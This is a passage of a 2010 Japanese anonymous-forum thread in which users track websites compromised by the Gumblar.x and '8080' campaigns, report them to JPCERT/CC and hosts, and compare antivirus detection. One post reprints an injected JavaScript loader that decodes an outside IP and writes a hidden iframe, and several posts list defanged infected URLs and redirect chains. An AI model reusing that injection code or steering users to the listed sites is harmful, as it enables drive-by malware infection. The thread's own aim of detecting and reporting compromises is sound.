- http://www●geocities●jp/tentacles344/hodokyo●html
Gumblar.Xぽい
- 353 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 17:51:16
- www●spiceheads●com ：Forbidden
www●ooraka●com ：Forbidden
www●itofound●or●jp ：aguse、Gred、Dr.Webともに反応なし/精査よろ
www●rokudai-ouen●com ：Forbidden
- 354 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 17:53:07
- www●m-ouen●com ：Forbidden
- 355 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 17:55:36
- >>352
Gumblar.x確認
exeter-relatives-forum●org●uk/images/hnx5v/gifimg●php
↓
mariosflyingpizzaclearlake●com/images/appetizers●php
↓
latifkm●com/Css/templet11●php
↓
sexfunbeach●com/blogs/moms/wp-content/plugins/index●php
↓
asgardr●fr/memo/robots●php
↓
以後追跡不能
現時点では無害だけど、つーほーしたほうが良いと思う
- 356 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 19:36:18
- Gumblar.Xは既に日本を蹴ってるんじゃなかったっけ
- 357 ：316：2010/05/31(月) 20:27:25
- >>356
踏み台は結構あるよ。
- 358 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 20:54:21
- >>345
＞www●jc-consulting●jp/houkoku_m/index3●html ←絶賛放置中(再再再再･･･晒し)
NTTPCコミュニケーションズに電凸
折り返しの電話があり、対応する旨の話しでした
- 359 ：コテハン ◆8080adndqg ：2010/05/31(月) 21:09:32
- >>347,349 乙乙
--
>>346に投下したspiceheads●comに装填されていた8080以外のコード
（）＜＞／．，’”； ←を全角にしてありまつ
＜script type=’text／javascript’＞str=”＜vdepognbt src=” + unescape
（’%68%74%74%70%3a%2f%2f%37%39%2e%31%33%35%2e%31%35%32%2e%31%38%31%2f%73%74%61%74%73%2f%67%6f%2e%70%68%70%3f%73%69%64%3d%31’）
+ ” Oaoz5=’1’vxoq5=’1’＞”；str = str．replace（’vde’， ’i’）；str =str．replace（’pog’， ’fr’）；
str = str．replace（’nbt’， ’ame’）；str =str．replace（’Oaoz5’， ’width’）；
str =str．replace（’vxoq5’，’height’）；document．write（str）；＜／script＞
--
microlines●lvって･･･
- 360 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 22:42:35
- lv…ラトビアか。zlkon(gumblarの始祖)を思い出す。
- 361 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 22:50:28
- >>360
.MSも見たな。
マイクロソフト…
- 362 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 23:10:43
- >>359のコードなら難読化って程じゃないですよね
パーセントエンコードしたURLをデコード、「vdepognbt」を分割してreplaceで「iframe」に置換
今までのとは違う人が書いた物みたい
ガンブラーサイトを間貸ししてるのかも
- 363 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 23:27:46
- カスペが見逃すやつをavastがことごとく遮断
優秀すぎる
- 364 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 23:43:39
- Avira、AVG、MSEは論外・・・なのか？
- 365 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 23:50:39
- virustotalで調べたが、上記のサイトでavastはほぼ完璧
MSE、AVIRAはちょっと検出、AVGは反応なしorz
変なサイトに飛ばされて、ウイルス仕込まれそうになった段階で反応するのかもしれないけど
- 366 ：327：2010/05/31(月) 23:53:36
- >>315
感染したスクリプト撤去されたな。 感染コード長期間放置してたのに、何の告知も無しで。
結局、世の中こんな企業ばっかりか。
- 367 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 00:15:05
- 既出で今スクリプトが埋まってるURL
－8080系
ama●minasan●info/
anime●len2●net/
bentominowa●web●fc2●com/index_files/kotypeb_data/injection_graph_func●js
canyonhardware●com/
hirotu●net/hs/kyujin/maillady/index●htm
infom●biz/secretdiet/
kadaru●mydns●to/ →「ページを表示できないっぽいです(^^;」とあるが、ソースの下の方にスクリプト有り
kadaru●mydns●to/tauchi-office/taikensyugi/
kagaden●com/reiai/
kei●keita-house●com/torabaayu_kansai/
kumarin●biz/
neta-script●lionking●jp/2007/08/
nihon-support●jp/
population-japan●com
san●ron5●com/gbl/
temp●crossmarin●net/include/xoops●js
tenga●s155●coreserver●jp/
thismonky●com/
tw13●net
tw13●net/scratch/
tw13●net/vogue/vogue/index●html
www●adwalk●co●jp/
www●amakusaturigu●com
www●any-news●biz/
www●aoisys●com/nonstyle/
www●asu-job●com/
www●biz-x●jp
www●crossmarin●net/include/xoops●js
- 368 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 00:16:04
- www●ftagent●jp/
www●gocha-mix●net/cgi-bin/blog/
www●hd-cre●com/ab-tz/
www●j-sports●or●jp
www●jc-consulting●jp/houkoku_m/index3●html
www●k3●dion●ne●jp/~sym1909/
www●k3●dion●ne●jp/~sym1909/hpbmapscript3●js
www●kireibast●sakura●ne●jp/exlwckaj/
www●marbell●jp/img2/photo/tenonaru/index●html
www●mfreep●com
www●nas-server●info/
www●ne●jp/asahi/sanya/sanpo
www●niaufuku●com/
www●niaufuku●com/sense_up/index●htm
www●nittoka●com/ →ソースの中央付近
www●oc-academy●com/taiken/wind●js
www●pommerland-herb●com/
www●ryu1●co●jp/
www●shinnippo●co●jp/ssff/2006hiroshima/
www●tec●ne●jp/
www●toutyann●com/
www●tu-han4●com/hatumo/
www●wood-sadoh●co●jp/classroom/index●html
www●y2-kco●com/bb-kn/
www12●plala●or●jp/atakashi/sk/
www13●plala●or●jp/metal-militia/
adajo●namidaame●com/ →途中で切れてる
nakaya-world●com/modules/bulletin →途中で切れてる
tukaoh●com →途中で切れてる
www●3ku●jp/grow_images/2005/june/index_2005june●html →途中で切れてる
- 369 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 00:17:04
- www●granship●com/index●html →途中で切れてる
www●hdta●jp →途中で切れてる
www●seibidou●jp/products/information_sign/index●html →途中で切れてる
ayako●h00●jp →コメントアウト
butuda●f00●jp →コメントアウト
otokudou●h01●jp/ →コメントアウト
sunrise●2pg●in/ →コメントアウト
－Gumblar.x
ama●koukuujinja●net/vuitton/
doit●itabashido●com/seki/
jamur●jp/
mag●rdy●jp/
plot-office●com/
s1●shard●jp/syozyonudo/
saicho●co●jp/
truth-co●jp/
www●geocities●jp/tentacles344/hodokyo●html
www●kiyasuisan●co●jp/
－その他
winbet●tonosama●jp/
www●acl-music●jp/
www●aquaview●jp/
www●aquaview●jp/m_shop/index●html
www●aquaview●jp/q_a/index●html
www●ed-shop●com/
www●militarize●org/01●htm →ソースの最終行？
www●rctank●jp/ →ソースの最終行？
- 370 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 00:23:09
- 削除されただけでも、ましだぜ。未だに、絶賛放置中のサイトもあるぐらいだし
315のサイトは、企画、運営が外注だろ。よくこれで、運営してるなと。
Yahooも、自前の懸賞の所に、感染したサイトがリンクされていても放置するのに、フィッシング対策にYahooツールバーを入れよう！と宣伝してるのは笑うわ。
- 371 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 00:31:50
- >>362
普通すぎるから激しい難読化より気付き難い(かもしれない)
- 372 ：コテハン ◆8080adndqg ：2010/06/01(火) 00:33:22
- >>367-369
- 373 ：コテハン ◆8080adndqg ：2010/06/01(火) 00:38:40
- >>372みすった orz
--
>>367-369 まとめ乙です。
>>358 乙です。
so-netさんが４連発ｗ
止まらぬサイト改ざん(1) ISPがガンブラー対策～パスワードリセット敢行も
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2248
止まらぬサイト改ざん(2)「怪しい薬局」に続き「怪しい時計屋キャンペーン」も
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2249
止まらぬサイト改ざん(3)「負の連鎖」を断ち切る「3つの基本対策」実施を
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2250
止まらぬサイト改ざん(4)訪問の心あたりはありませんか～新規告知サイト13件
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2251
サイト復旧後、「告知無し」のカスサイトを晒すスレが必要かな？
- 374 ：316：2010/06/01(火) 00:46:25
- >>373
>>280のホスティングはso-net
＞ サイト復旧後、「告知無し」のカスサイトを晒すスレが必要かな？
wktk
- 375 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 01:27:51
- >>374
so-netから>>280に連絡があったそうです（so-net
こっそり修正しているようですが告知しないのかと聞いたところ
改竄された事実はないとのお言葉でした
ぶちぎれましたね、私はw
会話を録音しているとかで私を警察に訴えるとのこと
この団体をことわざで例えるなら、【逝ってよし】ですかねw
- 376 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 01:29:13
- so-net GJ
- 377 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 01:31:10
- >>375
たぶんまた改ざんされるんじゃないかな
それでも事実はないと言い張りそうだけど
- 378 ：316：2010/06/01(火) 01:43:29
- >>375
あぁー。。。
>>280のアドレスで具具れば魚醤がでるのでもしものときのために（ｒｙ
so-netにはフォームと鯖缶宛にめるして対応の返事があったんだけど、
そんなことになってたとは…（告知のことを>>373のセキュリティニュースから引用してます>>14）
- 379 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 05:38:17
- 先生に危険認定されてる時点で言い逃れもへったくれもねぇだろうｗ
- 380 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 09:33:08
- 議員さんも支持者も大変すなぁ
www●sutoband●org
- 381 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 10:13:34
- >>380
とりあえずブログに改ざんされている箇所とIPAのアド書いておいたww
JPCERT/CC通報済み
てか、うちの選挙区の人orz
- 382 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 11:50:27
- >>300
さすが民主党議員はテロ行為に余念がない。
- 383 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 12:03:29
- 絶対守ろう！ 世界の平和 地域の安全 日本の将来
その前に何か忘れてませんか
- 384 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 14:32:13
- >>375
＞会話を録音しているとかで私を警察に訴えるとのこと
so-netと話をしたで始まって、この団体は･･･で結んでるところが少しよくわからない
今後どうすれば訴えるって？それともいきなり警察に相談しますって？
本当なんだとしたらわけわからん
告知の責任を果たさない法人晒しスレのテンプレをマジメに検討した方がいい
- 385 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 14:38:17
- 基地がいすぎるなｗｗｗ
- 386 ：コテハン ◆8080adndqg ：2010/06/01(火) 20:01:46
- 【陥落サイトのURL悪用厳禁】
vaxponys●sakura●ne●jp/hukin-goods●vaxponys●com/
■当サイトのウィルス感染に関するお詫びとお願い
www.i-keiei.jp/2010/05/post_26.html
修正後、告知しないカスサイトは見習ってほしいぞ･･と。
- 387 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 21:12:04
- >>386
さくらインターネットに通報しました
＞修正後、告知しないカスサイトは見習ってほしい
まったくですね
- 388 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 21:15:43
- >>380
404になってますね
- 389 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 21:35:11
- >>382
いや逆でしょｗｗ
しかし子ども手当・・・みんなに配った麻生さんと比べて不公平感があるし
財政的にも借金して配るという、地域振興券を遥かに超える究極的愚策ですな
といってもガンブラー仕掛けちゃいけませんよ＾＾
- 390 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 21:44:12
- >>388
キャッシュはまだ検出する
- 391 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 21:48:47
- aimeblog●com●down●uproda016258●jpg
gredで不正改ざん
- 392 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 22:03:35
- >>391
aimeblog●com/だとしたらドメイン自体が真っ黒
もともとウイルス配布サイトだからこのスレとは関係ないよ
改ざんではなくて元からそういうサイトなの
どっかのスレにあったならNG登録しといたほうがいいよ
- 393 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 22:05:29
- 一般社団法人 Mozilla Japan は、日本国内における Mozilla の製品および関連技術の普及啓蒙を目的として設立された
はずなんだけどな
- 394 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 22:06:25
- 誤爆った
- 395 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 22:10:39
- 危険ドメインリスト(アカウントハックウイルス関係, CGI版) - BS-Template (BSWiki)
http://smith.rowiki.jp/domain/?help
- 396 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 22:11:26
- http://smith.rowiki.jp/domain/?domain=aimeblog.com
- 397 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 23:04:46
- >>380
http://blog.goo.ne.jp/sutoband/e/14cddcd36fbbc009e5c543ee6f8cb38c
>>このＨＰのようにアクセスが数百程度のＨＰも脅威の対象かな？
自称危機管理専門家なのに(笑) 大手とか関係ないぞ
こんな認識のヤツは頼むから運用しないでくれよ
- 398 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 23:16:11
- いつこのGunblerや8080が終息に向かうんだろうか？
どんどん悪化してきているような気がする…
- 399 ：316：2010/06/02(水) 00:37:35
- >>397
公人としての自覚が（ｒｙ
>>280
403や404返してますね。
なにかあったのでしょうか？（棒
- 400 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 00:42:06
- 削除依頼スレ見てきた
削除依頼出すのはいいけど、セキュ板実質管理者居ないから、
他のスレのとまとめて長期未処理スレに報告したほうがいいと思う
まとめて出してくるわ
- 401 ：コテハン ◆8080adndqg ：2010/06/02(水) 01:09:39
- >>400 orz...
- 402 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 10:22:03
- >>398
そうなんだよなぁ
こちらは感染しない対策をしてればいいんだが
そういう問題でもないからなあ、被害総額はどのくらいなのだろうか
そもそも感染しない対策すら知らない人が多そうだし
- 403 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 11:50:36
- >>402
自分は2chをやらなかったらGunblerも対策も知らなかったよ
対策の仕方を読んでもいまだによくわからないし
被害と言うのはGunblerを踏んで何かを流出させた人だけではなくて
Gunblerを踏んでしまってクリーンインストールをしなければならない手間や
Gunblerを仕込まれてしまってサイトを直さねばらない手間や費用も
被害と言えば被害だよね
- 404 ：コテハン ◆8080adndqg ：2010/06/02(水) 12:36:35
- >>398
永遠に終わらないような気が･･orz
【陥落サイトのURL悪用厳禁】
www●goshikionsen●net/access
www●fashion389●com/datsushien
■本日の目玉商品ｗ
<!--ショッピングサイト(トロイ付)構築を行っております-->
eccube●jp/
↓見本ページ(やっぱりトロイ付)↓
eccube●jp/demo/
- 405 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 13:08:27
- >>403
> 対策の仕方を読んでもいまだによくわからないし
これは問題だろ
どこがわからんのかｋｗｓｋ
なんとなくわからんとか理解する気がないとかじゃなく文章ちゃんと読んで
どこがわからんのか教えてくれ
- 406 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 15:00:52
- www●j-sports●or●jp ：Gred、Dr.Web反応せず/精査よろ
vaxponys●sakura●ne●jp/hukin-goods●vaxponys●com/ ：再凸済み
>>367-369
一通りチェックが終了したので、昨日付けでJPCERTに報告しました
これだけの数、何処までやってくれるか判りませんけどね
>>404
www●goshikionsen●net
www●fashion389●com/datsushien/
eccube●jp
JPCERT/CCに報告しました
- 407 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 15:30:20
- >>406
j-sportsは今日付けで変更されてるページをいくつか確認
とりあえず修正したのかもしれない
再改ざんの可能性もあるので要観察かな
TOPがこんなかんじで1時間前くらい
Last-Modified: Wed, 02 Jun 2010 05:10:14 GMT
- 408 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 15:36:53
- ジェーピーサートコーディネーションセンターの中の人って何人なんだろうね？
こんなに頻出してたら大変だろうに
- 409 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 15:44:02
- >>404
http://www.virustotal.com/jp/analisis/567823945ead442c75e4d3a54949a8044e7210b3c3a23ac85edda85a10955829-1275460764
祝 全スルー
- 410 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 15:50:00
- JPCERTも対応していれば大変だろうけど、してないんじゃないかな。
していれば、ISPの対処のスピードも上がるでしょう。
デジロックみたいな所が、だらだらとやっている位ですから、何もやっていないでしょうね。
- 411 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 15:56:27
- >>403
・windows update
とにかく最新にしとけ、XP sp2の人もまだいるみたいだから
その場合はカスタム更新で
・Adobe Reader
要らん場合はインストールすんな
・Adobe ReaderのAcrobat JavaScript
>>4のとおり
・JRE(Java Runtime Environment)を最新版に更新する
要らん場合はインストールすんな
プリインストールされてる場合はアンインストール後にCCleanerで掃除
・Flash Playerを最新版に更新する
バージョンチェックはしておこう
・QuickTimeを最新版に更新する
alternativeでおｋ、ブラウザにプラグインなんか入れんな
- 412 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 17:00:19
- kanto●itca●or●jp/wic/attachment/97/resource-253●html
社団法人情報通信設備協会 関東地方本部
- 413 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 17:05:46
- >>412
遂にお会い出来ましたね、com:8080さん
- 414 ：316：2010/06/02(水) 17:15:58
- >>412
おぉ、ソースの誘導先のソースでAVIRAが珍しくピコった。
com:8080はじめて見た。
- 415 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 17:18:21
- Gumblar.xはじめ色々な改ざん＝＝
fun●s331●xrea●com/ikeacat/r●js
sale●s334●xrea●com/?p=127
bara●s317●xrea●com/
sakura●s316●xrea●com/?p=136
ps2●s307●xrea●com/?p=135
www●tctv●ne●jp/s-pato/tyuuka●html
sijoanna●finito●fc2●com/
meringue●s48●xrea●com/pm/2004/04/
toko72●s289●xrea●com/adhocmart●com/renaiunaphuusui/
elesty●s25●xrea●com/s-album/kie-album-39●htm
soverign●s154●xrea●com/
- 416 ：コテハン ◆8080adndqg ：2010/06/02(水) 17:41:14
- eccube●jp/逃げるの早いなｗ
↓禿のキャッシュ↓
cache●yahoofs●jp/search/cache?p=site%3Aeccube●jp%2F&search●x=&fr=top_ga1_sa&tid=top_ga1_sa&ei=UTF-8&aq=&oq=&u=eccube.jp/&w=eccube+●jp&d=Ku2UhO8_U3HZ&icp=1&●intl=jp
- 417 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 17:45:18
- Gumblarのスペルすら間違えるような人は
IPAやJPCERTやセキュmemoを見ていないんだろうなぁ。
- 418 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 17:51:36
- 逃げ得は許さない
- 419 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 17:59:37
- >>416
今回は魚拓をとってから電凸したのであつた
魚拓e ccube.jp/
http://megalodon.jp/2010-0602-1708-18/eccube.jp/
- 420 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 17:59:50
- gredで危険ですとか言われたサイトは踏んじゃうとやばいんですか？
エロゲの公式さいとなんですけど
- 421 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:00:56
- >>420
たぶんはい
- 422 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:05:29
- >>421
公式にいかないと修正パッチがあてられない・・・orz
リンク先のページもチェックするにチェックを入れなかった時は安全ですと言われたんですけど
ちょっとぐらいのぞいても大丈夫ですよね
- 423 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:07:04
- >>411
＞プリインストールされてる場合はアンインストール後にCCleanerで掃除
ここがよくわからん
コントロールパネルから消してjava6:20以外どこにも無いのに外部ソフトウェアが必要なの？
- 424 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:08:27
- >>419
ＧＪ
- 425 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:11:29
- >>422
修正パッチなんて配布支援サイトを探せばいいじゃない
とりあえずブランド名ｐｌｚ
- 426 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:13:07
- >>425
祝福のカンパネラです
- 427 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:13:51
- あいよ
- 428 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:28:13
- >>412
それって無関係かもしれんよ
www●google●co●jp/search?hl=ja&q=site%3Akanto●itca●or●jp%2F
www●google●co●jp/search?q=site%3Akanto●itca●or●jp%2Fwic%2F
- 429 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:42:38
- >>426
ごめん。まだ見てたらURLを加工して貼ってくれ
感染箇所を見つけられない‥。
もし黒ならアニメ化するってのにorz
- 430 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:48:05
- >>426
avast! 4.8の100602-0の定義ファイルで踏んでみたがなんともないような
さらっとソースと.jsも見たがそれっぽいのが見当たらないな
セキュソフトはなに？
- 431 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:50:58
- ああgredで見たのか
- 432 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:51:14
- >>429
工作板の本スレ>>1にある上から二番目のURLです
URL貼り方はこうでいいですか？
windmill●suki●jp/product/campanella/
- 433 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:56:03
- >>432
白だとおも
- 434 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:56:26
- >>426
あちこち確認しながら見てたら時間が…
ソースには特に変なものはなかったです、Dr.Webも反応しませんでした
Gredもhtmlはシロ判定を返してるみたいですし大丈夫かと
というか、Gredが修正パッチを誤検出してるっぽいです
VTではシロ判定http://www.virustotal.com/jp/analisis/012b338f69d323de3cce45cf289f3b7fcf7b2b19dab7d264872e3c05dbc96075-1275470513
exe絡みだとスレ違いだし、まぁこんな回答しか返せませんけど良いですか？
- 435 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:59:27
- >>433>>434
何事も無かったようでほっとしました！
お二人ともご親切にありがとうざいました
- 436 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 19:00:11
- 一応、原作ファンとして心配になったのでexeもチェックしたけど特に異常はない
http://mirror1.lapistan.jp:8000/mirror/windmill/mod/campanella_voice.exe
の:8080を誤検知したとかってオチだとおも
- 437 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 19:25:49
- :8080じゃないし
- 438 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 20:02:18
- >5を踏んじゃったんですが、
大丈夫でしょうか？荒らし酷いな
- 439 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 20:08:35
- >>438
専ブラ使えばレス見てわかるとおもうんで専ブラ導入推奨
- 440 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 20:33:46
- >>416
処理早いのは良いことなんですけどね 告知できればなお良
>>419
17:08時点では修正済みでは? 感染時ソースの魚拓↓
http://megalodon.jp/2010-0602-416-03/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Feccube.jp%2Findex.html
外部.jsの場合、自分は魚拓を表示できないので
ピリオドをパーセントエンコードするか、JSUNPACKのレポートにして欲しいです↓
http://megalodon.jp/2010-0601-1513-45/www.dan.co.uk/viewsource/index.php?url=http://www.sutoband.org/js/scroll_news%2Ejs
http://jsunpack.jeek.org/dec/go?report=6bfc48ba1e492f69a3c1f52e5d873eee2e4a7924
- 441 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 21:27:53
- >>428
サイトが乗っ取られてみたいです
- 442 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 21:33:50
- >>423
アンインストール後にJREの残骸が残ることがあるかもしれないので
念のためにCCleanerでレジストリを調べておくといいかもしれないということ
- 443 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 22:35:24
- >>412 404返すようになってきた
http://megalodon.jp/2010-0602-2208-14/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fkanto.itca.or.jp%2Fwic%2Fattachment%2F97%2Fstyle%252Ecss
Last-Modified: Wed, 06 Aug 2008 18:40:52 GMT
2008年に乗っ取られたのがガンブラーのおかげで発覚したのか
- 444 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 00:50:13
- >>438
いつ踏んだんですか？とりあえず一週間ほど前に対策とられたみたいなので、
ここ数日の事であれば大丈夫ですよ。
- 445 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 04:53:57
- >>412,429
www●mypersonalhttp●com:8080 ← ここに行って
goscanfor●com ←ここに飛ばされ
microsoft●msn●com●chimen●info ←ここでFakeAVの実演販売
Google先生も怒ってます
- 446 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 05:01:18
- 445です
gred先生は「このサイトは安全です」とな（ダメじゃん）
- 447 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 07:27:53
- >>443
大元は[社団法人 情報通信設備協会]http://itca.or.jpで
ttp://itca.or.jp/kanto/ が ttp://tkanto.itca.or.jp/ に転送される
http://www.google.com/search?q=http://itca.or.jp/kanto/wic/attachment/97/&num=50
2年前からコメントスパム配信基地だった
- 448 ：447：2010/06/03(木) 07:40:47
- ×コメントスパム
○トラックバックスパム
- 449 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 08:40:58
- >>442
げぇ……レジストリまで探らないといけないのか
そんなのここに初めて来たばかりのPCに疎い人とかにさせたら
重要なの消して悲惨な事になりそうだ
そこまで徹底的にしないと対策が不十分と言われるんじゃ
未だにガンブラー広がってるのも納得
広がってるスピードや広がってる対象（政府関連、ウェブ業者関連）がおかしいとは思うけど
- 450 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 10:03:19
- >>440
ECCUBE.JPの訂正
http://megalodon.jp/2010-0602-1455-03/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Feccube.jp%2Findex.html
- 451 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 10:39:09
- 取扱注意
www●cowtv●jp/channel/student/index●php
- 452 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 11:19:37
- www●odcc●jp
大阪デジタルコンテンツビジネス創出協議会
世界へ優れたコンテンツ…じゃなくてウィルス発信中
- 453 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 11:25:24
- >>451 452
どちらもすごいですね 凸完
- 454 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 13:16:37
- www●triskelionpublishing●net/
- 455 ：コテハン ◆8080adndqg ：2010/06/03(木) 14:45:53
- 【陥落サイトのURL悪用厳禁】
www●ktm-ktm●com/tomoko ←途中切れ
www●w-ouen●com/i/machi ←未対応
www●kyotoclub-ilias●net/m/ ←電話用
www●triskelionpublishing●net/index●html ←途中切れ
www●giuglianoweb●com ←途中切れ
gpindy●com/ ←電話用
www●haisui●com/ec/html/
netgames●kirara●st/netgames
d07●mobair●info
www●suit-order●com ←絶賛放置中
park17●wakwak●com/~bayside/URANAI/R/ALLSITE/main●html
get-motorcycle●com/
【本日の(ry
infotop777●com/detail●php?id=style1198741395
↓ページ内の[Click Here!]を押した先↓
okuo2●cyberinfostation●jp/ ←＼(^o^)／
- 456 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 16:16:14
- netgames●kirara●st/netgames
d07●mobair●info
www●suit-order●com
park17●wakwak●com/~bayside/URANAI/R/ALLSITE/main●html
get-motorcycle●com/
infotop777●com/detail●php?id=style1198741395
okuo2●cyberinfostation●jp/
鯖屋とJPCERT連絡完了。
- 457 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 16:20:15
- kanto●itca●or●jp/の「お問い合わせ」のドメインが
共有SSLだしGoogleにキャッシュされてるし、胡散臭い
http://www.google.com/search?q=site%3Aserver08.instantssl.co.jp%2F&num=50
- 458 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 17:32:51
- www●torihada●com
鳥肌実公式サイトが…
- 459 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 19:22:51
- kanto●itca●or●jp/
社団法人情報通信設備協会 関東地方本部
知らせたのにお礼のメールもなし。告知もなし。
こんな団体がセキュリティを語るな！
また、ページのTopにゴルフコンペの案内ってどんな温い団体なんだよ。
蓮舫 次はここをバッサリ切ってくれ
- 460 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 19:42:53
- >>459
そこ、さっき電凸しました
分かる者が不在だから明日掛け直してくれといってました
今日は無理なんじゃないの？
- 461 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 19:45:32
- >>447 >>457 >>459
kanto●itca●or●jp/ はフィッシングサイトかも
- 462 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 20:33:54
- ↑ 修正済み？？
- 463 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 21:07:14
- >>462
>>443の時点で改竄されていたattachment/97/以下が404
Yahoo!のキャッシュにもガンブラーはないみたい
http://siteexplorer.search.yahoo.co.jp/advsearch?p=http%3A%2F%2Fkanto.itca.or.jp%2Fwic%2Fattachment%2F97%2F
http://siteexplorer.search.yahoo.co.jp/advsearch?p=http%3A%2F%2Fitca.or.jp%2Fkanto%2Fwic%2Fattachment%2F97%2F
- 464 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 22:48:48
- >>459
いったいどんなスクリプトが？
- 465 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 23:38:59
- >>464
感染時のソースの魚拓。
http://megalodon.jp/2010-0602-1729-08/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fkanto.itca.or.jp%2Fwic%2Fattachment%2F97%2Fresource-218.html
</head><body><script>～
飛び先が.com:8080。珍しくAVGが反応した
- 466 ：316：2010/06/04(金) 00:18:26
- >>458
Last-Modified: Sat, 29 May 2010 14:27:16 GMT : http://megalodon.jp/2010-0603-2338-58/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww.torihada.com%2Fjava%2FAC_RunActiveContent%2Ejs
Last-Modified: Sat, 29 May 2010 14:27:33 GMT : http://megalodon.jp/2010-0603-2340-15/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww%2Etorihada%2Ecom%2Fjava%2Fneweindow%2Ejs
Last-Modified: Sat, 29 May 2010 14:27:24 GMT : http://megalodon.jp/2010-0603-2340-59/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww%2Etorihada%2Ecom%2Fjava%2Fdspflash%2Ejs
>>440
こんなんでいい？
